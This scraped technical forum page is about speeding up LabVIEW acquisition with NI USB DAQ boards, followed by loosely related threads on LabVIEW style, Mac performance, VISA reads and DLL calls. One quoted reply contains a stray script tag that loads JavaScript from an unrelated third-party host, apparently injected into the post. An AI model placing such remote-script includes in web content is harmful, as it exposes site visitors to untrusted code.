Increase Speed of acquisiton of a LABVIEW coding
Hi folks,
I'm using digital USB 6509 boards to do some multiplexing.
Then I use USB-6255 boards to get some voltage measurements.
The acquisition is a bit slow and I'm trying to increase the speed.
I'm attaching the code. If some has some hints to increase the vi speed and/or someone has some experience with
these boards I would appreciate it.
The code is attached.
Best Regards,
Rui Silva
Solved!
Go to Solution.
Attachments:
Inj_adjacente_16_velocidaded.png 187 KB
Rsilva wrote:
Hi crossrulz <script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={B9144335-EA92-4885-9235-B9DE4448C044}&d=2013-08-0...
thanks for your reply. I'll look into it later today.
I know the code needs clearing but it's just for better observation and task priority, I'll clean it later.
Another point, if I may ask, are the start tasks. The reason for the case structures is so some tasks don't start without the others.
I have to say that I don't know another way to make them comply to my needs. Can you offer some advice?
Best Regards,
Rui Silva
In my experience, "later" usually becomes"never," no matter how pure your intentions.
Bill
(Mid-Level minion.)
My support system ensures that I don't look totally incompetent.
Proud to say that I've progressed beyond knowing just enough to be dangerous. I now know enough to know that I have no clue about anything at all.
Similar Messages
-
Hi !
I want to change the speed of a video in Labview. Unfortunaletly, The VLC ActiveX does not function in my version of Labview.
Is there any other program I don't know and which is able to modify the speed of a video ?
If no, what is the way to do what i want ? Is it possible to program it in Labview ?
Thanks in advance !Hey,
If it is an AVI file you could use the Vision Development Modules AVI Functions to read it and save it with a higher frame rate.
Thanks,
Christian -
Hello,
Trying to figure out ways to further increase speed of 24" Imac. I've maxed out the ram to 3g and hard drive is hardly used. Most of my photos are stored on external drives.
I use the computer mainly for photoshop/lightroom etc. I didn't really think it was that slow until we recently purchased a dell intel core 2 duo CPU / 2.19ghz and 2g RAM at work. This computer is much faster opening programs such as Photoshop almost instantaneously. Is this normal or should my mac be running faster. when opening photoshop or lightroom the icon usually bounces at least 4 times before opening. Any thoughts or suggestions would be welcome.
I run onxy weekly.
OwenThe only thing I can think of that would help load Adobe apps a little faster would be a faster HDD. If your iMac still has the stock HDD then there are certainly faster drives available for the iMac. That would probably help a little but I doubt it would make Mac and PC load times the same.
Even Steve Jobs' has mentioned slow Adobe app load times during his keynote addresses.
lenn -
Help improve my style and quality of LabVIEW coding
Hello,
I am thinking of doing the CLD certification for LabVIEW and have started preparing by reading some literature (code style guidelines, etc.) and also trying to implement the newfound knowledge into my coding habits. I have also read that local variables are bad, and that the best practice is to avoid them.
However, I am having difficulty implementing all of the material I read about LabVIEW coding into my VIs - which are almost always coded in the same manner as the one I attached. Basically all of the LabVIEW applications I make at my company require reading DAQ inputs, processing the acquired data and doing some control algorithms, which send control signals to DAQ outputs, and writing all of the data to a file.
I have attached a sample VI (with dummy DAQ subVIs). If you have the time - any ideas, comments, consideration or improvements on all areas of the VI are greatly appreciated and welcomed. I think this will be the best way for me to learn new LV tips and tricks.
Thank you!
Attachments:
LabVIEW coding test.zip 375 KBJeff Bohrer wrote:
OK I've seen worse. (actually not too bad but...)
Use wire labels especially when you have wires that don't fit on 1 screen
You show a lack of understanding how timed loops differ from while loops (event structure in TLoop with DT=0, Elapsed Timer in Timed Loop. Someday you'll say WTH was I thinking spawing unique execution systems for those
You could have saved a lot of locals and data duplication by enqueueing data from the DAQ loop to the Write File Loop instead of using a notifier
Sometimes an Array of Clusters can be a good idea clusters of clusters of same data type can often be harder to maintain- want to add a new element- maybe test a single point? just init the array of clusters (like from a file perhaps?) Saves a lot of confusion
Saving timestamps to file as strings is a pet peeve of mine. Now how do you graph vs time? Check out My Idea
There is no reason to avoid creating sub-vis and making the Main BD fit on one screen. I fact it can help to show the code high level structure.
Straighten them wires!
Most of your issues would be solved by re-thinking your data structures- A good place to concentrate on to improve.
Keep Slinging- you'll get there
Ok, will do.
Can you explain what the difference is? Or point me to some good literature on this topic?
How exactly can you do that? I tried sending data via notifier, but I could not send different data types.
I do not quite understand what you mean.
Also, I do not understand what the problem here is. The graph shows data vs time.
Will try.
Mark Yedinak wrote:
OK, I did take a look at the code now. HEre are some additional points to consider.
Document, document, document. None of your controls or indicators are documented. Also, document your code more to help someone looking at it to actually understand it better.
Definitely avoid the use of all of the local variables. Thing of a design pattern that separates the processing tasks from the UI. If you have one task handling the UI you really don't need to use local variables.
Avoid unnecessary bends in your wires.
Definitely get your block diagram to fit on a smaller screen. These days it shouldn't be larger than 1600x1200 or close to that.
Modularize your code. Use more subVIs
You have a classic off by one error in your code. All of your loops use the stop button to exit. However you always check the value at the beginning of the loop iteration therefore you will execute the loop one more time than necessary.
Avoid unnecessary frame structures. You have a frame structure in the second loop that does nothing for you. Everything down stream of it will execute in the correct order because of the data dependencies. The frame structure serves no purpose here.
Try to avoid deeply nested case structures. Once I start to see that happening in my code I rethink my logic. At a minimum I would build an array of the various Boolean values and convert them into a number and use that to chose the appropriate case to execute rather than nesting three or more case structures.
Will do.
How can I accomplish all the tasks in my application without the use of local variables? I admit, this is the main reason I opened this thread ... because I have tried to imagine a design architecture that would work without local variable, but was unsuccessful. Can someone please explain in detail how to do this on this specific application.
Will try to.
I will try, but I make my block diagram to the width of my screen, but vertically I do not limit its size - so I can easily scroll up and down to move around.
I try to create as many subVI as possible, but only on code that is reusable on other projects. Is also better to have a lot of single use subVIs with every project? Doesn't this add unnecessary overhead and slows the application?
What would be the correct way to stop the application?
Ok.
Ok. I only do your proposed solution on nested case with a depth of at least 4. 3 nested structures were still acceptable for me, but I will listed to your proposal and try to improve on this.
Thank you all for taking the time to look at the code and writing your comments.
I already have the CLAD certification, but this was only a test. I think I will be able to try the CLD exam sometime next year, but I have to learn and implement different coding style in my everyday application (at work). With your help I am sure I will be able to accomplish this - reading literature is one thing, but actual projects are another. -
Is there any way i can upgrade my mac to increase speed
here is my spec
Model Name: iMac
Model Identifier: iMac12,2
Processor Name: Intel Core i5
Processor Speed: 2.7 GHz
Number of Processors: 1
Total Number of Cores: 4
L2 Cache (per Core): 256 KB
L3 Cache: 6 MB
Memory: 16 GB
Boot ROM Version: IM121.0047.B1F
Storage
Main-SSD:
Available: 63.4 GB (63,395,061,760 bytes)
Capacity: 250.14 GB (250,140,434,432 bytes)
Mount Point: /
File System: Journaled HFS+
Writable: Yes
Ignore Ownership: No
BSD Name: disk0s2
Volume UUID: 02B8B21A-62AB-364D-85F9-3F7CE2BA5DE3
Physical Drive:
Media Name: APPLE SSD TS256C Media
Medium Type: SSD
Protocol: SATA
Internal: Yes
Partition Map Type: GPT (GUID Partition Table)
S.M.A.R.T. Status: Verified
HD2:
Available: 617.65 GB (617,653,587,968 bytes)
Capacity: 999.86 GB (999,860,912,128 bytes)
Mount Point: /Volumes/HD2
File System: Journaled HFS+
Writable: Yes
Ignore Ownership: No
BSD Name: disk1s2
Volume UUID: C473B11F-9A84-3356-A268-B314A4ED2A5B
Physical Drive:
Media Name: ST31000528AS Media
Medium Type: Rotational
Protocol: SATA
Internal: Yes
Partition Map Type: GPT (GUID Partition Table)
S.M.A.R.T. Status: Verified
Media-Drive:
Available: 1.38 TB (1,375,661,342,720 bytes)
Capacity: 3 TB (3,000,458,477,568 bytes)
Mount Point: /Volumes/Media-Drive
File System: Case-Sensitive Journaled HFS+
Writable: Yes
Ignore Ownership: No
BSD Name: disk2s3
Volume UUID: 6FDDAD08-B7CC-3D8D-8291-9150547452E9
Physical Drive:
Media Name: Toshiba External USB 3.0 Media
Protocol: USB
Internal: No
Partition Map Type: APM (Apple Partition Map)
S.M.A.R.T. Status: Not Supported
RAM
Memory Slots:
ECC: Disabled
BANK 0/DIMM0:
Size: 4 GB
Type: DDR3
Speed: 1067 MHz
Status: OK
Manufacturer: 0x029E
Part Number: 0x434D5341344758334D314131303636433720
Serial Number: 0x00000000
BANK 1/DIMM0:
Size: 4 GB
Type: DDR3
Speed: 1067 MHz
Status: OK
Manufacturer: 0x029E
Part Number: 0x434D5341344758334D314131303636433720
Serial Number: 0x00000000
BANK 0/DIMM1:
Size: 4 GB
Type: DDR3
Speed: 1067 MHz
Status: OK
Manufacturer: 0x029E
Part Number: 0x434D5341344758334D314131303636433720
Serial Number: 0x00000000
BANK 1/DIMM1:
Size: 4 GB
Type: DDR3
Speed: 1067 MHz
Status: OK
Manufacturer: 0x029E
Part Number: 0x434D5341344758334D314131303636433720
Serial Number: 0x00000000
Graphics
AMD Radeon HD 6770M:
Chipset Model: AMD Radeon HD 6770M
Type: GPU
Bus: PCIe
PCIe Lane Width: x16
VRAM (Total): 512 MB
Vendor: ATI (0x1002)
Device ID: 0x6740
Revision ID: 0x0000
ROM Revision: 113-C0170F-175
EFI Driver Version: 01.00.560
Displays:
iMac:
Display Type: LCD
Resolution: 2560 x 1440
Pixel Depth: 32-Bit Color (ARGB8888)
Main Display: Yes
Mirror: Off
Online: Yes
Built-In: Yes
Connection Type: DisplayPort
42W_LCD_TV:
Resolution: 1920 x 1080 @ 60Hz (1080i)
Pixel Depth: 32-Bit Color (ARGB8888)
Mirror: Off
Online: Yes
Rotation: Supported
Interlaced: Yes
Television: Yes
is there anything else i can do to upgrade my system to increase speed i do a lot of 3D work and i am pusing my system to 100% 24 hours a day.
i need more speedSell the 5 privately and use the funds received toward the purchase of a 5s.
Apple does not do trade-ins like car dealers if that is what you are asking.
In some locations, Apple will give you a small amount for recycling your
current iPhone but you will always get more $ by selling it privately.
Some wireless providers offer periodic reduced price upgrades - check yours
to see if they have such a plan. -
How do increase speed on my iMac or clean up?
How do increase speed on my iMac or clean up?
Providing some more details will allow better answers to your question:
How old is this iMac? (e.g. Early 2008, Late 2012, etc.)
What Mac OS is it running? (Snow Leopard, Lion, Mountain Lion?)
How much RAM memory is installed?
What is your hard drive size, and how much free space is remaining on it?
Are you running any anti-virus software or "crapware" like MacKeeper?
Is this "slowness" evident all the time, or only during certain applications or processes?
Have you tried going to Applicatons --> Utilities --> Disk Utility and running Repair Permissions? -
How to increase speed to marker
using FCE...
i am trying to devise a way to increase the speed of a clip midway through to have it end at 200% at a marker in the timeline that matches a specific beat in the audio. that is, i would like the action to ramp up from 100% midway through a clip to end at 200% at frame of my choosing to meet a beat in the audio that i have marked in the timeline above.
regular clip speed>sudden, rapid increase to 200% speed>clip ends on the frame i want and at the beat i want.
i am working away at it, but any suggestions would be greatly appreciated
thanksThe best way I can think of would be to first make it into two different clips (FCE doesn't allow you to keyframe speed). So first, cut the clip at the point where you want it to speed up (blade tool, B). Next, lets have the second clip speed up the way you want it. Highlight the clip, go to modify->speed (I believe the shortcut is command-J). Now type in the speed change you want (in this case, 200%). After you have finished with that, ripple edit the second clip to the point in the audio you want it to stop (or you can put a marker there by clicking M, and if you have snapping turned on it will snap to the marker).
While this makes a nice effect that I think looks good, it skips from 100% straight to 200%, which I don't think is what you were wanting to do. The only thing I can think of at the moment to do in FCE to ramp it up from 100% to 200% is to do the same process described above, but cut it into several sections, and apply different speeds to them (eg 100%, then 110%, then 120%... then 200%). There might be a better way of doing this but since at the moment FCE speed doesn't appear to be keyframeable this is my best suggestion. If you do enough of these clips with increasing speeds, you should get the same effect.
I hope I was of help, and good luck with your project. -
IMac 21.5 hard drive fan increases speed after HDD Replacement
The hard drive on my iMac 21.5 failed two months out of warranty, so I decided to replace it myself. I replaced the drive with a duplicate of what was already in the iMac, which is a Seagate 500GB Barracuda 7200. The replacement and restore went well, however, now the hard drive fan slowly increases speed during operation, until I assume it reaches maximum RPMs. The increase in fan speed happens regardless of how busy the unit is. This is not particularly a problem, but the noise at maximum RPMs is annoying and I assume the life of the fan will be shortened. I ran the Apple Hardware Test and received the error "4SNS/1/40000000:TH00-9.000" which I've seen from another post that this may or may not indicate a problem with the thermal sender unit on the HDD. During installation I was careful to verify the proper orientation of the thermal sensor cable, so doubtful that is the problem. Is there a way to definitively determine whether the thermal sensor is bad on the HDD, or do I need some type of Apple-specific firmware installed on the HDD?
Beginning in late 2009 Apple began using HD's that had the heat sensor integrated into it, if you are absolutely positive your replacement drive has an integrated sensor in it then your problem might be solved by doing a SMC reset. If you haven't done one before here are the instructions:
SMC RESET
• Shut down the computer.
• Unplug the computer's power cord and all peripherals.
• Press and hold the power button for 5 seconds.
• Release the power button.
• Attach the computers power cable.
• Press the power button to turn on the computer.
PRAM RESET
• Shut down the computer.
• Locate the following keys on the keyboard: Command, Option, P, and R. You will need to hold these keys down simultaneously in step 4.
• Turn on the computer.
• Press and hold the Command-Option-P-R keys. You must press this key combination before the gray screen appears.
Hold the keys down until the computer restarts and you hear the startup sound for the second time.
Release the keys. -
How to increase speed of analog read using PCI 6110 and LabView 7.1?
Hi All,
I'm a fairly novice user of LabView and I'm trying to figure out how to make my system as fast as possible. Basically, I'm reading in an analog signal (AI0) together with a trigger signal (PFI0) and I want to sample the analog signal on the falling edge of the trigger signal. What I'm finding, though, is that the acquisition rate of this system is excessively slow. My analog signals occur faster than 1 kHz, but the speed of my system is only about 100 Hz. A colleague of mine told me that the DAQmx Trigger.vi I was using was probably the culprit for the slow performance I was observing. Could this be right? If so, how could I resolve this issue?
Another thought I had was to input the trigger signal into the external source input of the DAQmx Timing.vi. In this way I'd be using the trigger signal as an external clock. If operated in Continuous mode, then I think the Sample Clock would cause a sample to be read only when the trigger signal changes its state (from high to low). Could this work?
Thanks for reading,
BenHi Marni,
Thank you so much for your post! I tried doing as you suggested, using the Cont Acq&Graph Voltage-Ext Clk-Dig Start.vi and I first set the trigger signal as the external clock source. It works beautifully! Now, with 1.6 kHz signal in, I'm reading in 1.6 kSa/s. This is a dramatic improvement from before. I also tried using the internal clock source option, but it didn't seem to trigger when I wanted it to. I didn't spend too much time debugging it, though, since the other method works so well. This brings up an interesting question. Is the DAQmx Trigger.vi really that slow? Previously, I could read in 100 kSa/s at best using the Trigger VI. Anyways, I'm a happy camper now:-)
By the way, to answer your question about the DAQ device, I'm using the NI PCI 6110 Multifunction DAQ.
Thanks again!
Ben -
Increase speed visa read write
Hi guys,
I am using the visa read and write example, but I am facing some issue when using it in a larger software, and I can only receive date when the vi has been slown down (using the lightbulb).
The programme definitely works on it own with the settings defined.
Therefore, do you have any ideas/suggestions on how to increase the speed of this vi (attached) significantly? Also, it seems to create an issue with the data read
Many thanks,
Kentmey
Kentmey
Solved!
Go to Solution.
Attachments:
Read and write.vi 22 KBHow are you using this code inside of another VI? If you are actually calling this VI, there needs to be some changes.
1. The port should only be initialized once at the beginning of your program and clsoed once at the end.
2. There shouldn't be any need for the bytes at port. You are set up to use a termination character. So just set the number of bytes to read to something really large (like 50 or 100) and let the VISA Read stop when it finds the termination character.
There are only two ways to tell somebody thanks: Kudos and Marked Solutions
Unofficial Forum Rules and Guidelines -
Using Exterenal hard drive with after effects to increase speed
hi,
i recently purchased a 500GB Gtech firewire external harddrive for my laptop. My after effects is extremely slow and i want to use these external harddrive in order to increase the speed. i cant figure how to set it up please can you help me out? what options do i have?? i have a macbook pro with the following specs:
Processor 2.4 GHz Intel Core 2 Duo
Memory 8 GB 1067 MHz DDR3
Graphics NVIDIA GeForce 320M 256 MB
Software OS X 10.8.5 (12F45)What version of After Effects are you using?
What makes you think adding an external hard drive could make AE faster?
Here is a page on making AE run faster: http://adobe.ly/eV2zE7
Here is a page on hardware for AE: http://adobe.ly/pRYOuk -
Why does "ken burns" increase speed going in/out?
If you've used Flash, you know that you can control the motion by 'easing in/out', that is, the constant and consistent motion of a picture or object can be emphasized at the start or end of a tween (move slow and increases in motion speed towards the end, or vise versa).
the ken burns effect shows a normal smooth motion, maintaining consistent speed throughout the whole motion, ONLY in the preview pane. When it is actually rendered, for some reason some photos start their motion really slow. Others start their motion really fast. Why is this and can it be controlled?Welcome to the forum, Chris.
Yes, the accelerating zoom of Ken Burns is a known problem. Here's another thread discussing it, with some suggestions. Unfortunately, there is no perfect workaround.
Karl Petersen, "jumpy ken burns effect" #1, 11:59pm Sep 17, 2005 CDT
Please complain to Apple so it is fixed.
http://www.apple.com/feedback/imovie.html
Karl -
Increase Speed of DAQmx Sequence
Hi Everyone. I'm working on my first Labview program that will use a stepper motor to apply a load which is measured using a loadcell. I'm using a stepper motor driver that takes digital output from my NI USB-6009. I'm struggling with how to improve the rotation speed of the stepper.
An image of my basic program is attached. I've tried to make the labels on the tasks explain what each digital signal is responsible for. I'm hopeful that when I contain the sequence within a while loop the motor rotates quicker than what it does. Does anyone have an suggestions on how I can improve the speed of the program?
One thing I was thinking about was instead of passing an individual F and then T to the driver to create the step I could put both the F and T into a waveform. Unfortunately I haven't had any luck in making that happen with my limited knowledge.
Another thing that I don't fully understand are the options in the DAQmx write function so I suspect I may be able to do something different there.
Any suggestions and help that could be offered would be very much appreciated.
Attachments:
StepperDrive.jpg 178 KBHi Mark,
Thank you for your reply. I'll try to further explain:
- the MS1-3 are digital signals that control the angle of a single step for the stepper motor. The stepper that I'm using has a single step angle of 1.8 degrees however the driver allows that to be reduced to half, quarter, eighth, or sixteenth. This is set by the specific combination of high and low values from the MS1, MS2, and MS3 pins. For example, if the desire is to have the motor rotate with a step resolution of 0.45 degrees I would assign MS1 = H, MS2 = L, MS3 = H.
- the DIR is a digital signal that controls direction of rotation.
- the STEP pin is a digital signal that first goes to low and then to high. The driver detects the raising edge of the high signal and make the stepper motor rotate by one step using the parameters defined by DIR and MS1, MS2, and MS3.
- If anyone is curious I'm using "Big Easy Driver" to operate the stepper (http://www.schmalzhaus.com/BigEasyDriver/BigEasyDriver_UserManal.pdf)
- I've modified the block diagram (please see attachment) slightly just to give an idea what I'm trying to do. My goal is to just get the stepper to spin as fast as possible so I believe optimizing whatever is in the while loop is what I want to accomplish. Once I feel that I've got the best speed I will remove the while loop and turn the program into a SubVI.
- I'm very new to Labview but I'm guessing that using a waveform that goes from low to high could replace the last two DAQmx write functions with one. I'm struggling with creating the waveform as well as what to select from the write funtion "polymorphic selector".
- Is there a preferred method of the sequence structure? I believe that the DIR and MS1 - 3 pins must be established prior to the STEP signal and using the sequence is how I have tried to control this.
Again, thanks for any help that can be provided.
Attachments:
StepperDrive.jpg 194 KB -
LabVIEW coding using wnaspi32.dll
Hi to all, here I need you guys help in LV coding with wnaspi32.dll for I have no experience in doing that at all!
I will appreciate if any of you can tell me what the equivalent in lv code for
1)
typedef struct
BYTE SRB_Cmd; // ASPI command code = SC_EXEC_SCSI_CMD
BYTE SRB_Status; // ASPI command status byte
BYTE SRB_HaId; // ASPI host adapter number
BYTE SRB_Flags; // ASPI request flags
DWORD SRB_Hdr_Rsvd; // Reserved
BYTE SRB_Target; // Target's SCSI ID
BYTE SRB_Lun; // Target's LUN number
WORD SRB_Rsvd1; // Reserved for Alignment
DWORD SRB_BufLen; // Data Allocation Length
BYTE *SRB_BufPointer; // Data Buffer Point
BYTE SRB_SenseLen; // Sense Allocation Length
BYTE SRB_CDBLen; // CDB Length
BYTE SRB_HaStat; // Host Adapter Status
BYTE SRB_TargStat; // Target Status
void (*SRB_PostProc)(); // Post routine
void *SRB_Rsvd2; // Reserved
BYTE SRB_Rsvd3[16]; // Reserved for expansion
BYTE CDBByte[16]; // SCSI CDB
BYTE SenseArea[SENSE_LEN+2]; // Request Sense buffer
2.) In the following example, how do I do the (a) and (b) correctly?
This example sends a SCSI Inquiry command to host adapter #0, target #0, LUN
#0.
SRB_ExecSCSICmd MySRB;
DWORD ASPIStatus;
(a) char InquiryBuffer[32];
MySRB.SRB_Header = SC_EXEC_SCSI_CMD;
MySRB.SRB_HaId = 0;
MySRB.SRB_Flags = SRB_DIR_IN | SRB_POSTING;
MySRB.SRB_Hdr_Rsvd = 0;
MySRB.SRB_Target = 0;
MySRB.SRB_Lun = 0;
MySRB.SRB_BufLen = 32;
MySRB.SRB_SenseLen = SENSE_LEN;
(b) MySRB.SRB_BufPointer = InquiryBuffer;
MySRB.SRB_CDBLen = 6;
MySRB.RB_PostProc = PostProcedure;
MySRB.CDBByte[0] = SCSI_INQUIRY;
MySRB.CDBByte[1] = 0;
MySRB.CDBByte[2] = 0;
MySRB.CDBByte[3] = 0;
MySRB.CDBByte[4] = 32;
MySRB.CDBByte[5] = 0;
I am really struggling in getting it right for the *SRB_BufPointer (data buffer pointer) to work so as the aspi32.dll function will returns data to the pointer's buffer. But
q: How do get this buffer pointer correctly and how to read the buffer data after?
Hope that I am giving enough information on my problem. And, I will really aprreciate if anyone of you out there can help me on this. really.
Hear from ya.
Cheers and warmest regards
ian
[email protected]
Ian F
Since LabVIEW 5.1... 7.1.1... 2009, 2010
依恩与LabVIEW
LVVILIB.blogspot.comWell, I don't think NI should spend much time on this. The configuration screen necessary to configure all those options really would be a mess to deal with and you would still need to know all the detail knowledge about C data types, how they are passed between functions, particular byte boundary alignement etc.
Without this knowledge present you still couldn't use these options and once you have the knowledge, writing a simple wrapper DLL which goes between LabVIEW and your complicated data structure and possibly callback API is actually much simpler than trying to configure and possible wire your API interface in LabVIEW.
Of course knowing the layout of the LabVIEW data structures you can basically use a trick to get the pointer to a LabVIEW string into a data structure to be passed to a DLL but it is still far from simple. The callback pointer however can't be tricked from a LabVIEW diagram (at least not without so much magic that writing a DLL is actually hundred times faster than trying to get this to work in LabVIEW).
You need to know that LabVIEW byte arrays are basically a pointer to a pointer to a buffer with an additional i32 at the beginning indicating the size. So by allocating a LabVIEW array you can then place a Call Library Node on the diagram with following configuration:
library: LabVIEW
function name: MoveBlock
return value: void
first parameter: LabVIEW array handle of uInt8
second parameter: uInt32 pointer to value
third parameter: int32 value
Then wire the array to the first parameter, a 0 constant to the second and a 4 constant to the third. The resulting value from the second parameter is the pointer to the effective LabVIEW array buffer and adding 4 to this value will be the pointer to the begin of the actual array.
Make sure the array wire stays valid until the Call Library Node returns (by wiring it to a structure boundary which depends on some output of the Call Library Node and not branching the wire to anyplace else until that point) and resize the array after the Call Library Node returns, by the actual size returned somewhere from the Call Library Node. Make sure the intial array is as large as required by the API function or as you have indicated in one of the parameters to the API function as otherwise the function will crash.
Remains filling in the structure which will be a bit of a pain also, but I told you that writing a wrapper DLL is almost always faster than trying to do such things in LabVIEW.
Rolf Kalbermatter
Rolf Kalbermatter
CIT Engineering Netherlands
a division of Test & Measurement Solutions -
How to make space, increase speed, and battery
Space is not just taken up by emails. It includes all the "background" apps, bookmarks, messages, music, photos, ibooks and virtually anything is been accessed on your iPhone. Just like closets at home that get over filled and clothes we thought we were going to use your phone and your computer needs to be cleaned out more then once a year.
Here are a few measures that can be used to increase space and might I add battery power and usage proceessing speed to the lifetime of your phone/pad.
The most obvisious items: photos, books, documents, music can be streamline / transferred / exported to a hard drive.
The list below is maybe less thought of:
MULTITASKING: closing all the open apps.
To do this use the button below the screen known as home button with your index finger slide the apps upwards to close apps But make sure you keep the main screen app view open.
BOOKMARKS and READING LIST
Trim all the bookmarks and reading list that you no longer need by deleting it on your phone. If the bookmarks are important enough to keep then store them to your main computing system. You can even create a file and folder on your computer separate from your safari bookmarks by using a spreadsheet with the name of the site and url address.
SAFARI and all other WEB BROWSER COOKIES n DATA
Go to SETTINGS - SAFARI scroll down screen and clear cookies and data.
GPS & MAPS
delete all unnessary directions and locations.
CELLUAR DATA
Go to Settings - CELLUAR
LTE - enable
ROAMING - I prefer voice only so data pile up wont become an issue and only turn on data roaming if I need it.
BACKUPS
Backing up your phone/pad to a computer and a seperate hard drive using time machine saves space on your mobile device while adding an extra resource to recover and lost data.
Think about it if your mobile device is constantly storing old, long forgotten might need one day background stuff how can it have room to go forward and do the hard work you really need.Arrange menu :
Align
Distribute
Maybe you are looking for
-
Flash won't register for IE8 on xp sp3 home edition, but works in Firefox
Windows XP SP3 fully patched (32bit), IE8.0.6001.18702, Firefox 3.6.3, Eset NOD 4.0.437.0, Comodo Firewall 3.9.95478.509 I've been trying to sort this out on and off for the last three weeks...nothing I do seems to remedy the problem. I had version 1
-
How can I use a setup.exe file on my mac
I am attempting to download a demo software on my mac. It uses a setup.exe and I am unable to make it execute. I do have microsoft office on my mac.
-
Reader 8.1.2 display/memory limits?
I work on graphics-heavy books, which I convert into PDF to send to my printer. A typical 192-page project with all pages as 1200-dpi bitmap art is around 300mb once converted to PDF. Since upgrading my Reader from 7x to 8.1.2, I've encountered a pec
-
How do I stop iPhoto from launching?
How do I stop iPhoto from launching? I usually find it's much easier to just use Photoshop to edit my pictures... iPhoto is slow as molasses in January. How do I stop iPhoto from launching everytime I connect my camera? I looked everywhere and can't
-
Simple vi running a lot of memory
Hi, I have a simple vi that takes measurements from Fieldpoint (FP1601) and AI110, then the vi computes the output pH base on the input voltage. The problem is that if I run the vi for an extended period of time, the memory usage keeps going up and u